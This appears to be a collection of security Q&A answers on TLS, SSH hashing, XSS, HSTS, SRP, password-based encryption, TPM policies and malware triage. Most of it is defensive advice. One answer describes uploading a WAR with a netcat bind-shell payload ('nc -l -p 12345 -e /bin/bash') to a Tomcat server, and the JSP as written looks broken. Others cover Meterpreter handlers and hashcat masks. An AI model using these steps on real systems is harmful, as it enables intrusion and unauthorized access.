How to determine if an unexpected behavior is due to software bugs or malware?

Good question! Indeed such behavior is quite common. I usually use the same computer for a while so I can spot the differences. I first check whether I have too many tabs open in the browser so that the computer gets slowed down and some features stop working.

The next thing I check is whether I run the computer for too long in adverse circumstances. When you forget to shut down the PC over night some processes may run amok already. I open the Task Manager and look up the processes currently running causing the most load.

Also during summer watching videos or playing games may lead to overheating and random malfunctions. When you put your laptop on the bed or couch it may overheat too because the ventilation is blocked.

The third thing I check is whether it's malware. I usually run a reliable tool like MalwareBytes AntiMalware. I also look up in CCleaner to see whether there are some strange items added to autostart. Of course these techniques apply to Windows.


TLS 1.0 when properly configured has no known security vulnerabilities.  Newer protocols are better designed and better address the potential for new vulnerabilities.  So that's why

I wouldn't personally recommend disabling TLS 1.0, primarily because IE 7-10 don't support TLS 1.1 out of the box.  In January 2020, IE10 has gone EOL, so I expect it's likely now a good idea to disable TLS 1.0 since there's likely little/no traffic from such an old browser.  If you look carefully at the support matrix at: https://en.wikipedia.org/wiki/Transport_Layer_Security#Web_browsers you'll see that TLS 1.1 is disabled by default on everything but IE 11.

Most people have a significant amount of traffic on these browsers, and your website suddenly not working would pose a significant business impact.  Many people here will advocate a single minded approach of "Security above all else", and tell you to strongly advocate for disabling TLS 1.0.  I'm of the belief that security needs to be balanced with business needs, and it's the job of the security professional to understand both the security side, and the impact of changes.  As of 2020, the general principle here still applies, but the tradeoffs have moved towards disabling TLS1.0 in most circumstances.  There may still be some special circumstances of old, embedded devices where you might be able to justify keeping TLS1.0 enabled.

In 2020, there's little reason to keep TLS1.0 around, at least for browsers as the client.  You obviously need to test the impact of this on the stock browser config, and understand how much business you may or may not lose from this change.


Is a global DNS record a security risk for phpMyAdmin?

This would qualify as 'Security through Obscurity' and offers little to no protection whatsoever.

The /etc/hosts file is NOT DNS; it's the precursor of DNS and anyone can change their own records in it.

A domain name is mainly for human use... the computer will just convert this to an IP address and use that (and send the hostname with it in HTTP 1.1+). While the domain name has a function in virtual host configurations it is not part of a security defence.

To increase security consider adding one of the following:

IP whitelisting your own IP & blacklist all others
External login provider through oAuth / SAML. (such as Google's login system)
Use client-side certificates to authorize access

All of these would improve security from least to most, but also from easiest to most difficult.


using netcat as a handler for windows/meterpreter/reverse_tcp payload

You need to use the meterpreter handler rather than netcat. The issue is that meterpreter uses multiple stages. The reverse_tcp payload is only used to connect back to the client and load the additional shellcode needed to spawn the meterpreter. When you are using netcat this doesn't work.

If you want to have a payload that runs with netcat you need to consider using a regular reverse TCP shellcode rather than meterpreter.


Recover password that contains known phrase

Mask attack seems to be a good solution.

Generate a .hcmask file with the following lines:

$%-",Barbara?1walks?1the?1dog
$%-",Barbara?1walks?1the?1?1dog
...

And so on, where each line is has differences places for the special characters (?1).

Since you know the phrase, and because the set of characters is small, the total number of lines should be very low.


Are rich-client apps inherently more secure than webapps?

It's probably impossible to fully quantify the different threats to each program type. My initial reaction, though, is "No". It's often easier to attack web apps - they're more often exposed and easy to find - but that doesn't mean much to a motivated attacker and most of the most-famous worms and other highly-damaging malware targeted desktop apps or other non-web software.
The following lists are not comprehensive; I just wanted to illustrate some of the many, many factors.
Some security advantages of desktop apps:

Do not necessarily to accept traffic from the Internet directly, although some do. Those that don't usually require some victim actions (like opening a file).
More likely to act as a client (making requests and getting responses) than a site (which is hosted by a server). Assuming the app's server is not malicious, this makes it harder for an attacker to attack the connection.
Unless using a webview, immune to client-side web vulnerabilities such as XSS or CSRF. Even if using a webview, usually the risk is reduced because you don't browse arbitrary sites with the webview.
Many systems support various hardening options (NX/DEP, ASLR, etc.) that make successful exploitation of some attacks hard.
Many systems support customizable sandboxing (including containers, etc.) to allow running the code with the least privileges it needs (unfortunately, this requires developer or possibly user action that is rarely taken).

Some security disadvantages of desktop apps:

Most do not run sandboxed (though sandboxes are becoming more common); compromising one can take over the entire computer and possibly local network, or at least everything on it that the user has access to (think ransomware, etc.).
Much more likely to be written in native code or call into native libraries with attacker-controlled data, which means more risk of memory corruption vulnerabilities (buffer overflow, use-after-free, etc.).
Plenty of room for confusion around the multi-user machine model (what directories or other objects are safe to use, what permissions should be set on privileged components, etc.).

Some security advantages of web apps:

Browsers automatically provide a lot of security features that are not necessarily present elsewhere, like the same-origin policy and sandboxed system access.
Web apps are easy to update when an issue is found, and then everybody immediately gets the patched version.
While a compromised web app might compromise a large number of users, the damage to each user is likely less because each web app is isolated from others so most of your computer use is unaffected (note: this is less true if you share passwords across sites!).
Browsers include support for secure communications (HTTPS) and data parsing (HTML Form formats including MIME, JSON) making it less likely people try to implement their own protocols / parsers and risk messing it up.
Since the server is generally doing only a well-defined list of tasks and does them autonomously, it's relatively easy to restrict access to it (except on TCP 80/443) and sandbox it to limit both its attack surface and blast radius.

Some security disadvantages of web apps:

Common, well-known and easily-weaponized attack patterns (XSS, CSRF, etc.) that are often easy to find by anybody with a browser (so, everybody).
Browser differences in security-relevant behaviors and feature support means mitigations might cover some users but not others (less of a problem now than before, but some people still use IE, even version 10 or older).
Confusing standards (e.g. CORS) and common misconfigurations (bad TLS suites, SAML/OAuth handling, XML entity handling) mean there's a lot you might have to know to set up a web app securely (many potential threats).
High-value targets (compromise one app or service, potentially hit a ton of users and/or get lots of valuable data).


The ChangeCipherSpec is not authenticated. However, this is not a problem: its contents are unimportant (there is only one kind of ChangeCipherSpec message), and it may appear only at specific moments. When a client or server receives a ChangeCipherSpec message, it actually expects it. Thus, that message does not convey actual information; therefore, it has no need for any protection.

The main purpose of the ChangeCipherSpec message is to force implementations to start a new record. In SSL/TLS, handshake messages are stored in handshake records, but not with a 1-to-1 relationship: a handshake message can be split over several records, and several handshake messages can be stored into a single record. In the conceptual handshake workflow, encryption should be activated right before sending the Finished message; since encryption is record-based, a new record shall be opened. The ChangeCipherSpec message forces that new record, thus making both implementation and specification cleaner.


What are some options for a small company on a budget to maintain a bug bounty program?

It may not help with your current situation, but consider registering with someone like bugcrowd and posting your reward range.  If someone contacts you asking for something over and above your posted range, politely redirect them to your bounty page and let them know that's all you can afford.

Legitimate researchers will look at your site and decide whether or not your rewards are worth their time.  Smaller rewards may mean less experienced testers will gravitate towards your site; but this way nobody will be surprised.


Penetration Testing of IaaS/PaaS environment - CVSS Score

TL;DR - You should receive a report from the penetration-tester which will evaluate the security of the systems you're running, usually they will use a CVSS score to judge how vulnerable something is.

If you've had a professional pen-test they ideally will produce a report on the issues they found, how they exploited the issues and of course how critical those issues are. This is typically done with a CVSS score as it's a good way of measuring how bad the vulnerabilities are.

  The Common Vulnerability Scoring System (CVSS) is a free and open industry standard for assessing the severity of computer system security vulnerabilities. CVSS attempts to assign severity scores to vulnerabilities, allowing responders to prioritize responses and resources according to the threat. - Wikipedia

So in short, yes ideally they should be giving you CVSS scores, you should also receive their report which will detail their findings from that you will be able to work out how to fix it. Obviously some common-sense is required, the pen-tester can only evaluate what they know; like every human they can be wrong, so when reading through their report just make sure it all makes sense & you can evaluate the security yourself (to some extent) obviously the pen-tester is more qualified than yourself in identifying vulnerabilities so don't second guess everything they've told you, just make sure it makes sense.

Like everything, a lot of this depends on your threat-model if you're a small company and assume that you won't be getting hit by nation-states and he points out a flaw in a crypto suite you're running which only a nation-state could attack (and you know it will cost too much to fix) then maybe it's best you carry out an internal risk assessment on that. Just because they've produced a report doesn't mean you cannot produce your own and identify risks yourself - in-fact I'd encourage it. It makes no sense for a company to patch everything (if they cannot afford it) just be aware of the pen-testers level of expertise.

In essence, it all comes down to Risk Analysis


1) How can I recommend a text field be secured (as far as validating
  input prior to be accepted to the html parser (which I learned runs
  before any of the other parsers))?

See https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet for information on how to prevent cross-site scripting (XSS). You will need to do data validation on the server to make sure only permitted characters are submitted, and you will need to do output encoding (e.g., most likely HTML entity encoding, but see the previous link for specifics) prior to returning the data to the browser.

  2) Is the fact that the text is non-persistant relevant? I can still
  put a script tag in there and it seems to run.

"Reflected" XSS and "DOM-based" XSS is usually not considered to be as dangerous as "persistent" XSS, although the popularity of the site, the effectiveness of phishing/tricks by the attacker, and so on, have a big impact on how serious a reflected XSS attack truly is.

  3) This one, I don't know if I can really expect to be answered; but,
  I lack imagination as to what I can do with this "hole." If I can run
  a script, I should be able to do something, but I don't think I know
  enough java script for that. What can be done (not really looking for
  code... necessarily...) with this?

Stealing keystrokes, hijacking sessions, duping users into installing malware, changing the look and feel of a site, redirecting people to sites that look the same but are actually attack sites, etc. See http://www.zdnet.com/blog/security/obama-site-hacked-redirected-to-hillary-clinton/1042 for a simple real world example.


I know a similar use case:

admins are required to use a token based authentication (HOTP) to access servers in a data center -> means manually typing a sequence of digits
commands can have to be replicated on hundreds of machines

The solution was to setup one single hop machine where the admins authenticate themselves. Then from that machine they are allowed to administer all other machines in same security zone of the data center without any further authentication. That way the authentication complexity in not a problem.


Checksums do not match when I download file over http

Looks like an issue handling out-of-order and/or duplicate packets at the router, perhaps an issue with that build of DD-WRT when processing large transfers. The problem occurred using wget but not scp because most authenticated protocols will handle discrepancies at the application layer as they occur—scp runs over SSH which includes integrity protection—while raw HTTP relies on the integrity of the transmission as reconstructed at the presentation layer. In any case, I do not believe this to be an issue of information security.


How does the weakness of SHA-1 introduce attack vectors in SSH?

SSH uses a hash algorithm in couple of places:

As a pseudo-random function in the key exchange (e.g., with diffie-hellman-group14-sha1).
As a message authentication code (e.g., hmac-sha1)
To sign a signature over the negotiated session hash to authenticate both parties (e.g., with ssh-rsa)
To sign certificates if you're using OpenSSH certificates (e.g., with ssh-rsa-cert-v01@openssh.com)

Uses 1 and 2 are still secure, since they rely on properties of the hash function that don't involve collision resistance, which is what's weak about SHA-1 (although there are uses of HMAC-SHA-1, such as commitment schemes, where collision resistance is required).  Therefore, there's no reason that SHA-1 itself is weak here.
Use 3 is more questionable, since you're performing a signature, where collision resistance is required, although this is probably not practically attackable.  The attacker would have to have some way of guessing the shared Diffie-Hellman secret or a derived value, and we generally expect that to be computationally infeasible.  That's because SHA-1 is weak to collision attacks, so an attacker has to be able to produce two messages (which, with current attacks, are of a certain form) that hash to the same value, and it would be hard to do that in an online manner without the assistance of the server.
Use 4 is a serious problem.  Because we assume users can generate their own key pairs, using SHA-1 to sign a certificate is very weak.  OpenSSH certificates contain somewhat less data than X.509 certificates and exploiting this is therefore likely to be more difficult, but this is the threat I would worry about most, and it's the one that the OpenSSH developers are most worried about as well.  If an attacker carried out an attack here, the attacker could get access to systems they should not due to an invalid certificate being accepted when it should not be.
So if you're not using OpenSSH certificates, you're probably not at a direct risk from attack.  However, there are more reasons to avoid using SHA-1 if you can:

It's weak in many practical cases and we prefer to use cryptographic primitives which are unambiguously strong.
We don't want to encourage others to use SHA-1 at all, since even if we're using it in a secure way, others might decide to use it as well and then use it in an insecure way.
It sets off security scanners and causes compliance problems, as you've noticed.

It goes without saying that all of these also apply to MD5, which you should definitely not use.  And there are some additional reasons why SHA-1-based algorithms are bad in SSH particularly:

Most of the SHA-1-based key exchange algorithms use groups that provide less than 128 bits of security.  Because the security of the key exchange is required for forward secrecy of the connection, you'd want to avoid using a weak group here.  The generic group exchange diffie-hellman-group-exchange-sha1 could be secure, but that depends on both the server and the client being configured correctly.
Using SHA-1 in the key exchange loses entropy (as outlined in RFC 4253) if you negotiate an encryption or MAC key longer than 160 bits.  Therefore, the most security you can possibly get out of using SHA-1 in the key exchange is 160 bits.
DSA (ssh-dss), which uses SHA-1 for signatures, is limited to 1024 bits in SSH, which is far too small for practical security.  RSA keys less than 3072 bits also offer less than 128-bit security.

128-bit security is the minimum level of security for practical matters these days.  Some organizations have requirements for 192-bit security.
If you can use any of the Ed25519, Curve25519, ECDSA, or ECDH algorithms that OpenSSH supports, these will use stronger hash functions and will avoid your entire problem.  They may also be available on older systems.  When in doubt, follow the Mozilla recommendations.


Should it be best practice to force 301 redirect in addition to Strict-Transport-Security header?

Yes, absolutely. If you implement HTTP Strict Transport Security (HSTS) you should also create an explicit redirect from HTTP to HTTPS. This will also benefit clients that didn't implement the HSTS standard.

If you want to submit your website to the HSTS Preload List this behavior is even mandatory:

  In order to be accepted to the HSTS preload list through this form,
  your site must satisfy the following set of requirements:

  Serve a valid certificate.
  Redirect from HTTP to HTTPS on the same host.
  Serve all subdomains over HTTPS. (...)
  Serve an HSTS header on the base domain for HTTPS requests: (...)

Note that the 301 redirect achieves not the same as HSTS. Both techniques redirect a user from HTTP to HTTPS but with HSTS the browser will remember to use HTTPS on that site until a specified timeout is reached. HSTS is trust-on-first-use, so a user is only vulnerable the very first time they ever enter mybank.com into the address bar. After that, an attacker cannot trick you into visiting the HTTP version again.

Related question: What's the difference between using HSTS and doing a 301 redirection?


Okay so after taking the advice from a comment above about seeing what was actually uploaded to the server I was able to solve this problem.
The payload
So it seems that by attempting to take the 'easy' way first and use a precompiled WAR file was where I went wrong. That's because I had no idea what the JSP file inside of the war was called. When I logged onto the server and looked in the tomcat5.5 webapps directory it was immediately clear what the application name was and I was able to reference it. Though, I couldn't get the shell to work.
Building my own payload
So I decided to take the other path which was build my own payload and upload it.
First I created a JSP file with my netcat command in it
echo '<% nc -l -p 12345 -e /bin/bash %>' > payload.jsp

Then I created a war file with it
jar -c payload.jsp > payload.war

Finally I uploaded it to the server with my upload tool and called it in the browser.
TargetMachineIp:TomcatPort/tomcat_exploit_dir/payload.jsp

Then I just connected to it with netcat
nc targetmachineip targetport
...Profit...

You can see my full write up on how I did it here


Can I use the same password both for SRP and for client-side encryption?

As an exercise in healthy cautiousness, I would advise the following:

When you derive your key k from the user password, make it longer, and split it in two. Use the first half for SRP, the second half for encryption. A simple way to achieve that is to hash k with SHA-256, yielding 256 bits which can then be split into two fine 128-bit keys. Alternatively, use a key derivation function with tuneable output size, like PBKDF2.

The point here is that we want to avoid any unwanted "interaction", however implausible, between the symmetric encryption and the computations performed in SRP. Intercalating a layer of one-wayness between the two subkeys ought to prevent such issues (assuming SHA-256 to more or less behave like a random oracle).
You encrypt for a reason: you then must assume that an attacker may observe, at some point, the symmetrically encrypted data blob. Otherwise, what would be the point of encryption ? But if such an eavesdropping is possible, then the salt must be proper. An empty salt would not cut it, because all users would use the same salt, allowing for attack optimisations (namely, rainbow tables).

Now there is an interesting point, which is that SRP itself includes some salt processing. Take a close look at RFC 5054, which describes how SRP is to be integrated in a TLS handshake. In the initial step, the client (in its ClientHello) sends the user's identity (I). The server responds with some messages, including the ServerKeyExchange which contains (among other values) the salt s. So you have, right here, your "server which sends the salt to everybody who asks for it".

The actual password processing, in SRP, is the computation of x = SHA1(s | SHA1(I | ":" | P)). This is a salted, but insufficiently iterated password hashing function. This is a known flaw in SRP as it is currently defined. However, it would be trivial to replace this operation with a strong password hashing function, as long as client and server agree.

This then yields the following scheme:

At registration time, the user chooses his password P, and a random salt s is generated (say, 128 bits from a cryptographically strong PRNG).
From P and s, a strong password hashing function (such as bcrypt) is applied, yielding some intermediate value z, which we then hash with SHA-512, yielding 512 bits. These 512 bits are split into two 256-bit halves; the first half will be the x value for SRP, while the second half (let's call it y) will be used for symmetric encryption.
When logging in, the client first send the user name (I) to the server, and gets the salt s. The same computation of x and y is done again. The x part is used for SRP, the y part to decrypt the blob stored on the server.

This scheme combines all the points discussed above. Password-to-key derivation uses a proper function with a good, random salt; there is an isolation layer of SHA-512 between the two usages of the password; no extra message exchange is needed compared to basic SRP. In effect, what I suggest here is a strengthening of the password hashing done in SRP, with an extra leeching of a password-derived key for your symmetric encryption need.

Note that while you can first establish a SSL/TLS tunnel and then perform SRP in it, you can also follow the RFC 5054 road and use SRP for the TLS handshake. This would require control of both client and server code, including the SRP implementation, since I am suggesting here modifying the password-to-key derivation process (namely, to strengthen it). Correspondingly, the client must already have the needed code. In a Web-Javascript context, you would need first a "normal" SSL/TLS, although at that point the benefits of SRP become quite small.

Letting the server send the salt value to whoever asks, as is inherent in SRP, is not a serious issue. Salts don't need secrecy. Keeping salt values secret does not harm, but this is only a secondary goal. The main point of salts is uniqueness. Don't let an unwarranted itch for secrecy get in the path of uniqueness.


What is the best way to limit sending verification codes to mobile numbers which can be changed?

It seems you're rate-limiting per phone number/e-mail address.

You could apply the rate-limit per user instead, and it would prevent the kind of abuse you're worried about.

You should tweak the limit to account for that. For instance two SMS per user per day would allow for one mistake to be made. If the user makes a second mistake she'll have to wait till next day to fix it.


How can html5 geolocalisation bypass my vpn?

I just checked this with my VPN in http://html5demos.com/geo

Although I VPN through Germany, it still shows my nearby location in London.

If you read https://www.mozilla.org/en-US/firefox/geolocation/ , you will see:

  If you consent, Firefox gathers information about nearby wireless
  access points and your computer’s IP address Then Firefox sends this
  information to the default geolocation service provider, Google
  Location Services, to get an estimate of your location.

As @Aria noted, Google Location Services uses their collection of WiFi AP to try to pin-point your location. I assume they have a global list of AP SSIDs through the Google Street View project as well as their Android devices.

edit:

FYI, here is the captured request that is being sent to Google. A full list of nearby APs. You might want to launch a proxy and check for yourself.

Also the fact that you are on a computer without WiFi doesn't mean that nearby APs aren't stored somewhere within your computer (Cache, Registry, Logged in Google/Firefox profiles, etc)


1024 Bit Client Certificate Authentication with 4068 Bit Server Certificate

The main problem is less the 1024 bit RSA but the md5 signature used for the certificate. MD5 is known since lots of years to be heavily insecure and was actively used to clone certificates. But, if it is possible to clone the client certificate then it can no longer be used to securely authenticate the client.

Apart from that, "only used for authentication" is the wrong approach. If authentication is irrelevant then just skip it. But if it is important to properly authenticate the client then it should be done properly.


The problem is when user-specified HTML is included together with your own HTML and application logic on the same page. It is common that the application logic depends on the content or location of specific elements inside the HTML which are selected based on id or class name. If you allow the user to specify any class name an attacker might be able to generate content with the same class names as used in your application logic. This might severely confuse the application logic which might lead to security issues.


Preventing JavaScript execution with JavaScript?

The idea is to provide a fallback that prevents (inline) JavaScript for browsers that do not support CSP.

Bear in mind that CSP is not to be used as a first line of defense. You should properly encode per context to prevent XSS in your application. OWSAP has good information on this.

That being said, CSP can be a good fallback to make XSS much less serious, should an XSS vulnerability (i.e. wrong or no encoding somewhere on your page) be found in your application and exploited.

  I know that it is possible to overwrite existing functions, but it's not clear to me how exactly this would work.

It is very easy to do. For example, XMLHttpRequest = myFunction, or XMLHttpRequest = null would prevent scripts from using XMLHttpRequest directly.

The problem is that if an attacker may not be using that particular function, and if the attacker knows you are doing this, he could easily use an alternative method.
While it might be possible to overwrite all functions, it is not recommended as a reliable solution.

  Is there a trivial solution that 100% prevents any further script execution?

If you have a syntax error in your <script>, then nothing in that <script>...</script> will run. Unfortunately, with XSS, the attacker could easily start a new <script> that would work just fine.

Also there are many many ways to inject JavaScript besides <script>, for example <img onload> or onerror.

To my knowledge you cannot reliably stop all following HTML from containing XSS execution.

  If not, are there solutions that work in most contexts or for most browsers (and ways to bypass them for other contexts/browsers)?

CSP version 1 browser support is starting to get good, and since CSP was designed as a backup anyway (not a first line of defense) you may be able to stop your search there knowing that browser support will be a shrinking problem.

That being said, I think the idea of overwriting functions could go a long way towards success. It seems like that could work reliably in theory. While this is not recommended, I think it would be an interesting study. I wonder how complex it would be to implement.


How should connection between a hosted server and a database be secured?

If you configure the app to use TLS to connect to the db then it cant be sniffed. If that is being done along with everything else you are fine. The connection string is decrypted in memory so somebody will have had to compromise one of the machines in order to get anything of use. Of course precautions need to be taken there as well, but as far as sniffing, it cant be done if TLS is used.


How Is It Possible That an App Connects to 0.0.0.142 IP Address?

http://www.speedguide.net/ip/0.0.0.142

  Reserved and special use addresses:
  0.0.0.0/8 - Current network (only valid as source address) RFC 1700

As it says i't just a way to represent the network in which you are. I think you shouldn't worry about it, but I'm not an android expert


Someone else on my computer at the sametime?

Actually there are a lot of way for secure your computer.
First of all install antivirus and firewall programs to your computer.
Learn TCP/IP protocol.When you learn this protocol you can control your network easily.If you feel that someone else is accessing your computer , you can control connections

When you type

netstat -n or netstat -ano

on the cmd.exe .You can see all active connections.If there is suspicious connection you can block this port on firewall.
Also you can type

netstat -b

on the cmd.exe .You can see active ports that used by programs.If there is suspicious program you can block this program on firewall.

When you use your computer for online banking or other important functions, you can use on-screen keyboard.

On the other hand, learn physical security.There are some hardware keyloggers for record keystroke.Check cables on your computer , if you are using desktop computer.


The Web browser is indeed supposed to complain loudly if the intended server name (the one from the target URL) does not appear at a suitable place in the server certificate (normally as a Subject Alt Name extension of type dNSName). See RFC 2818, section 3.1.

In practice, modern browsers emit very conspicuous warnings, often scary and red. Some browsers allow to "click through" the warning with more or less ease (but, of course, you should not do that).


What password-based encryption to use with standard Java 6?

My recommendation: You should try to avoid using password-based encryption, if you can possibly avoid it.  In particular, password-based encryption tends to be insecure, in practice. The problem is that it is rare for users' passwords to have enough entropy to resist dictionary attack.  Therefore, if you need encryption, you probably don't want to use password-based encryption, if there's any alternative.

A better solution is to give users a key, and use the key to encrypt or decrypt.

If you don't follow my recommendation: If you absolutely must use password-based encryption, here are some suggestions to reduce the risk somewhat:

Use PBKDF2 to derive the key from the password.  Choose a suitably large number of iterations so that the key derivation process takes, e.g., 100ms on the user's machine.  This will make it somewhat harder to perform dictionary search on the user's passphrase -- however, it does not eliminate the risk, so users must still take extra effort to choose a very long passphrase.
Do everything you can to increase the likelihood that your users use a very long passphrase.  The best approach would be to automatically generate the password for them.  I suggest choosing one with 80 bits of entropy.  If you turn this into a password that uses A-Za-z0-9 (but not O or l, to avoid confusion with 0 or 1), the resulting passphrase will be 14 characters long.  Users may not like having to deal with such a long passphrase, but they'll just have to suck it up and deal, if they want to be secure.

If you let users choose their own passphrase, most will probably pick a lower-quality passphrase.  I suggest that you include dire warnings about the risk.  You should recommend that they pick a passphrase that is at least 20 characters long, and is as random as they can make it.  You may want to provide a little app to generate a sample passphrase for them, that they can cut-and-paste and use.

Even with all your efforts, if users choose their own passphrase, many users will probably pick one that is not adequately secure.  The problem is that encryption requires passphrases that are considerably longer and stronger than the passwords you use for a web account password.  Most users probably don't know this, and anyway the annoyances of choosing a passphrase that is long and strong enough will probably deter many users from doing so and cause them to behave insecurely.

If you're getting the sense that password-based encryption is a headache to use securely, your sense is absolutely accurate.


how does IE or chrome verifies certificate?

You can find the complete detail in  RFC5246.

Put very simple: Every certificate should be signed by a third party. Each third party's certificates are included within your browser. The browser can check if the certificate is signed by a third party it trusts, if it's signed by the same server of which you are demanding to see the identity, then it's considered self signed.


Does HTTPS protect mobile internet connections against "network injection"?

From the article:

The website must use “clear text” which means the URL starts with
“http” not “https.”

The technique described in the article sounds hardly different from a man in the middle (MitM) attack, at least in terms of the potential impact.
Just like in a MitM scenario where an attacker can read and modify all data on the wire, TLS (therefore HTTPS) retains confidentiality and integrity as long as certificates are used and trusted properly. Without knowing the server's private key and the victim's session key(s), the traffic cannot reasonably be viewed or modified at that level.


If this is just about the bit length (and I couldn't find out anything about the Block Mode -- I'm just guessing "XTS") that you should use for AES (128, 192 or 256), then 128 bits should be enough.

Check keylength.com and put in a date far enough in the future for your needs.


How can I prevent GPS spoofing? (prevent a Pokemon-go hack)?

Fundamentally, you are trusting the OS to not feed you bad data. If the OS is modified to feed you bad data, it can also feed you bad authentication.

If the GPS device were to produce signed data, all that tells you is that a device who knows the private key produced that data - it doesn't authenticate it as the device. What does authenticate it as the real deal is a certificate chain, starting at one of the trusted roots on the OS. Oh, wait, we don't trust the OS.

If your attacker used a physical device to emulate GPS signals, then even your GPS receiver can't tell the difference, so the signing doesn't help there either.

It really boils down to you running on an un trusted device and having to make inferences as to what is and is not trustworthy (and what the APIs allow you to see!).

Also, I don't know what you were trying to accomplish pinging a known server and then looking it up in a geo-database... All that tells you is that they know where they are...


How an attacker can intercept the message for his own benefit

You receive an email message that purports to come from your bank. It asks you to click a link for some reasonable-sounding administrative purpose. How can you verify that the message actually did come from your bank?

In general, you cannot.

That's why, if I get a message from my bank, it doesn't contain any links. It either contains a self contained message that cannot compromise my security ("more than 300 euro has been withdrawn from your account") or it simply contains the message that I should look into my mailbox on the website. I don't think many banks will sign their content with e.g. PGP or protect the messages otherwise.

Banking apps of course have more possibilities in this regard: normally you can trust the app (make sure you do), and the app can trust the messages send to it using a signature scheme.

  Now play the role of an attacker. How could you intercept the message described in part (1) and convert it to your purposes while still making both the bank and the customer think the message is authentic and trustworthy?

You would not have to intercept any messages. You can just spoof a message. Maybe you receive a message by having access to a bank account yourself, in some way or another. Or you just take the style of the banking site and use that to create a reasonably looking message.

There is no reason to make the bank trust your message; you're trying to trick the customer. The bank trusts the customer to create transactions for their behalf.


What's the possiblity of my ISO being compromised?

While I cannot give you an exact possibility, I can answer your other questions.

There are three main ways to corrupt a download:

a malicious server,
insecure transport & a malicious carrier,
a compromised host.

While checksum and hash checking can help against (2) and maybe (depending on how the signature is distributed and you establish trust in the signature) (1), you can not mitigate (3).

Supposing a machine is compromised, it is a lost cause to do anything, really, with it, except a nuke from orbit.

malware could alter the download when written to disk,
when transferred to another Medium or
download the image from where you are not trying to load it and modify the tools you use to validate the correctness of the file so that all your checks come back positive while they actually are not.

As you see: when you cannot trust the machine you are workin with, anything might happen.


Is there a way to ask cracklib-check to go through a list of passwords?

Yes - by piping in the list of candidate passwords from stdin.

$ man cracklib-check | grep -A 1 DESCR
DESCRIPTION
       cracklib-check takes a list of passwords from stdin and checks \
       them via libcrack2's FascistCheck(3) sub routine.

$ cat test.txt
pass1
pass2
pass3

$ cat test.txt | cracklib-check
pass1: it is too short
pass2: it is too short
pass3: it is too short


How to audit login on a Debian distribution if var/log was deleted

Your best bet is searching for "forensic data recovery linux" and going from there. Keep in mind, though, that if the attacker was any good, they probably didn't just delete the logs, but used a tool like "shred" that specifically makes file recovery near-impossible (or at least very expensive).

There isn't that much useful info you can get from those logs, though. You can probably find an IP used to launch the attack, but you'll most likely trace it back to a TOR exit node.

For the future, one of the best things you can do is set up a hardened network syslog server that would collect syslog data from your Internet-facing systems. This will allow you to analyse your log data even if your local logs have been deleted.


Proceeding when the certificate doesn't validate roughly turns the secure HTTPS into the insecure HTTP. It is very bad to hit continue. If the same websites work safely from your desktop, it is probably a browser problem that you have to fix. That means fixing the problem is out of scope for this website. You need an Android support website. But maybe I can help you.

Try the following in order from first to last. Stop when the problem is fixed.

Some Android phones/tablets are known to do this when the date/time is set incorrectly. Reset your date/time.
Delete the cached data for the browser application.
Delete the browser app if you can.
Switch to a different browser app if you can.
Factory reset your phone/tablet.
Contact your phone/tablet support channel.

Good luck!


How can ECDSA offer stronger security with the same key length (same amount of entropy)?

ECDSA is an asymmetric digital signature algorithm based on Elliptic Curve Cryptography (ECC), closer in purpose and function to digital signatures using RSA.  Both are asymmetric algorithms that are very different than AES, which is a symmetric encryption algorithm.

The comparison you are talking about is most likely comparing ECC key sizes to RSA key sizes.  This is where the math differs.  ECC’s strength is based on the difficulty of solving the discrete logarithm problem.

RSA's strength is based on the difficulty of factoring the product of two very large prime numbers.

The comparison of the two must take into account the difficulty of the math, not of the simple count of the bits.

AES, being symmetric, is completely different.  A brute force attack on AES simply consists of trying every possible key in the 2^128 space.

For more information on key lengths, check out https://www.keylength.com, which has an interesting set of comparisons of key lengths taking into account historic, modern, and predicted futures.


Preventing an unauthorized mobile application from calling REST back end services

This is near impossible to achieve (short of white-listing IP addresses). Given someone has enough time and resources, they will almost certainly be able to send calls to your API outside of your client. In general, you want to assume attackers know everything about your API and design your API to be resilient to attacks (Ex. good authentication practices with correct limiting, etc.), otherwise, you would likely be fighting a losing battle.

A great example I like to bring up is the Pokemon Go API (link here). Hackers were quickly able to create 3rd party clients that would send erroneous location data and allow users to catch Pokemon from all over the world. Despite API updates, hackers continuously re-reversed engineered the necessary steps to send valid API calls.


Forgot Username/Email - Do extra credentials equal enough to log the user in?

No, don't make password reset based on anything submitted in a form. You need to determine the users identity through a method besides your own website. Either via two factor authentication (usually phone) or via a known email address. The danger here is brute forcing, guessing, or stealing the data needed for a password reset. Yes, it is often quite possible to maliciously aquire a user's ssn, dob, and phone number. Stealing their phone or compromising their email is often far, far harder. Also, be very careful about storing or asking for the users ssn - this can be treacherous, especially if an attacker manages a man in the middle or sql injection attack.

Stick with e-mail Auth or two factor Auth for password resets.


in this case. If someone else would known this unique identifier, he
  would be able to read the private message sent from user A to user B.

This is not (necessarily) true. Usually, there are user accounts on such sites, and a user logging in creates a session with an ID in a cookie. messaging.php can then check if the given session ID matches the ownder of the requested message, and display an error message if it does not.

If someone else gets the session ID, then it's true that access is possible.  However, getting is not is as easy. It's certainly longer than your message ID, and not auto-incrementing; guessing would take much longer (especially you need the single session ID mathcing the current message ID, not just any session ID). And there are many things preventing cookie data to be read by everything coming not from the cookie-creating site itself.


Is running IIS application pools as a domain user considered bad practice?

It's not ideal, in that it is better to not use a domain account where a local account will suffice, but I wouldn't say that it would generally be considered falling to level of a bad practice.  It certainly can as you note, make administration easier, particularly in scenarios where you have multiple web servers for an application which these days, is more common than not, or need access to a range of domain resources.

You must of course, as you've noted in your question, follow the generally recommended practices you've already identified for service-type accounts, but ultimately, properly managed and limited, a application service account should not expose you to much more attack surface area that machine accounts configured to have access to the same network resources.


What kind of "actions" can a TPM2 policy authorize?

TL;DR: you can prevent booting directly. However, not the TPM stops the boot process, but the last trusted component in your chain of trust (e.g. your bootloader).

A TPM is passive, i.e. it receives commands and executes them. The TPM cannot intervene with the boot process on its own.

Some TPM basics: typically, there are two features associated with PCRs: Sealing and Quoting. Sealing is tying a key to a known good PCR value, as you mentioned already. Quoting is reporting a PCR value (including a signature by the TPM to ensure integrity).

Of course you could encrypt the kernel (or your entire disk using LUKS). That's not really neccessary, though. Your bootloader could just measure the (unencrypted) kernel and refuse to boot any bad kernel. You do not need a TPM (nor a TPM Policy) for this. The bootloader, or to be more specific the initial piece of code which performs the first measurement, needs to be trusted at all times in a chain of trust. It is called the Core Root of Trust for Measurement (CRTM).
